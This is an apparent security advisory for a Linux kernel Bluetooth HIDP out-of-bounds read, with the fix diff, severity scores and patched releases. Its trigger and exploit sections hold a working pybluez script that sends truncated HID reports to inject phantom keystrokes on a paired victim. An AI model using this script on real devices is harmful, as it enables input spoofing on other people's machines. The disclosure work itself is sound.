# CVE-2026-63947: HIDP input reports parsed without length checks

**Patch:** [2a3ac9ee11dbb9845f3947cef4a79dba658cf6f6](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2a3ac9ee11dbb9845f3947cef4a79dba658cf6f6) (mainline, landed in 7.1)
**Subsystem:** Bluetooth HIDP (Human Interface Device Profile)
**Affected file:** net/bluetooth/hidp/core.c
**CVE record:** [CVE-2026-63947](https://www.cve.org/CVERecord?id=CVE-2026-63947)
**Introduced in:** 2.6.12, commit 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2

## The bug in one sentence

hidp_input_report() read fixed-size keyboard and mouse payloads out of an skb without first checking skb->len contained them, so a paired device sending a truncated packet made the kernel read beyond the valid data.

## Twenty years old

The introduction commit is the git era's very first commit, 1da177e4c3f4, April 2005. This bug is older than many of the people now reading CVE feeds. HIDP landed with the original Bluetooth stack merge and the keyboard and mouse parsing in hidp_input_report() has been reading fixed offsets into packet data since before anyone was calling that a vulnerability class.

hidp_recv_intr_frame() pulls the one byte HIDP header, then dispatches the rest of the skb to hidp_input_report(), which reads keyboard modifier and key arrays, or mouse buttons and movement bytes, trusting that a well formed device sent a well formed report. A paired device that truncates the packet turns those reads into out-of-bounds accesses on skb data. The bytes past the valid region get interpreted as input: phantom keypresses, spurious cursor movement.

## The fix

I replaced the hand rolled size tracking and pointer arithmetic with skb_pull_data(), which returns NULL if the requested bytes are not present, so the checks and the advancement become the same operation:

```diff
-	bytes = min_t(unsigned int, skb->len, hidp_input_report_len[hidp_input_report_type(hdr)]);
-	if (bytes < sizeof(struct hidp_input_report_keyboard))
-		return;
-	kb = (struct hidp_input_report_keyboard *)(skb->data);
+	kb = skb_pull_data(skb, sizeof(*kb));
+	if (!kb)
+		return;
```

Same treatment for the mouse path. The manual size variable and the separate skb->len guard both disappear because a NULL return covers both failure modes. Full patch: [2a3ac9ee11db](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2a3ac9ee11dbb9845f3947cef4a79dba658cf6f6)

## How to trigger it

Pair with the victim as an HID device (or use an already paired compromised peripheral), connect to the HID interrupt channel, and send a header byte with no payload behind it:

```python
import bluetooth   # pybluez

s = bluetooth.BluetoothSocket(bluetooth.L2CAP)
s.connect(("AA:BB:CC:DD:EE:FF", 0x11))   # PSM 0x11: HID interrupt
s.send(b"\xa1")    # 1 byte: HIDP header claiming a keyboard input report,
                   # zero bytes of report data follow
```

hidp_recv_intr_frame() pulls the one header byte and hands the rest to hidp_input_report(), which pre-fix reads the keyboard modifier and key fields past the end of the skb data. The out-of-bounds bytes get interpreted as keys, so on a KASAN kernel you get the splat and on a normal kernel you can see the effect directly: phantom keystrokes or mouse jumps on the victim with nothing sending them. Post-fix skb_pull_data() returns NULL for the missing bytes and the report is dropped.

## Score and classification

* Kernel CNA (mirrored by NVD as Secondary): 8.8 HIGH, vector CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
* CWE-125 (out-of-bounds read) from both NVD and CISA's ADP
* Ubuntu's tracker shows priority Medium despite the High severity label

The attack story that justifies 8.8: a malicious device that gets paired, or a compromised device already paired, sends a truncated report; the kernel interprets adjacent heap bytes as HID events. Fabricated keystrokes on a victim session is a genuinely nasty primitive in the right context (imagine the injected keystrokes containing a command), even if turning over-read bytes into chosen keys takes heap grooming luck. The realistic reading is somewhere between "input spoofing under favorable conditions" and "weird input glitches", and I lean toward the latter for most deployments.

## Exploit code

Pair with the victim as an HID device first, then feed it one byte reports on the HID interrupt channel:

```python
#!/usr/bin/env python3
# hidp_phantom_keys.py: CVE-2026-63947
# pip install pybluez && sudo python3 hidp_phantom_keys.py AA:BB:CC:DD:EE:FF
import sys
import bluetooth

target = sys.argv[1] if len(sys.argv) > 1 else "AA:BB:CC:DD:EE:FF"

s = bluetooth.BluetoothSocket(bluetooth.L2CAP)
s.connect((target, 0x11))          # PSM 0x11: HID interrupt channel

for i in range(200):
    s.send(b"\xa1")                # HIDP header byte only: claims a
                                   # keyboard report, sends no report bytes
s.close()
```

hidp_recv_intr_frame() pulls the header byte and dispatches to hidp_input_report(), which on the vulnerable kernel reads the keyboard modifier and key fields past the end of the skb. The out-of-bounds heap bytes are then injected as input events, so the visible exploit effect on the victim is phantom keystrokes and mouse movement from a device that sent nothing, plus the KASAN report if it is running. Because the injected keys come from adjacent heap contents, an attacker who can groom what sits after the skb influences which keys get typed. Post-fix skb_pull_data() returns NULL for the missing payload and every truncated report is dropped. Public status: no KEV, no public PoC before this note. Fixes: Debian bookworm 6.1.176-1 and trixie 6.12.94-1; Ubuntu 22.04 and newer fixed through the July to October 2026 USN run, with 20.04 and older left vulnerable.

## Where the fix shipped

* 5.15.210: [1f08a90013e1](https://git.kernel.org/stable/c/1f08a90013e1e632b34321334e861fcefc056505)
* 6.1.176: [cc3832b19f86](https://git.kernel.org/stable/c/cc3832b19f863e3677c5651f001a2e3795f39eb8)
* 6.6.143: [d313683d6ccd](https://git.kernel.org/stable/c/d313683d6ccdd8c01e0562270a2ae25b86d8461d)
* 6.12.93: [d7d6a81b8dd1](https://git.kernel.org/stable/c/d7d6a81b8dd1a8d084a1b755db9406041d53adb5)
* 6.18.35: [6348dfed5b0f](https://git.kernel.org/stable/c/6348dfed5b0f9c6074f14322332e97493d32fef0)
* 7.0.12: [b83dcacd2ec7](https://git.kernel.org/stable/c/b83dcacd2ec7fcc5a48be215f82d573759f87ec2)
* 7.1: [2a3ac9ee11db](https://git.kernel.org/stable/c/2a3ac9ee11dbb9845f3947cef4a79dba658cf6f6)

## References

1. [Upstream commit 2a3ac9ee11db](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2a3ac9ee11dbb9845f3947cef4a79dba658cf6f6)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026071954-CVE-2026-63947-dc2f@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-63947)
4. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-63947)
5. [Debian tracker](https://security-tracker.debian.org/tracker/CVE-2026-63947)
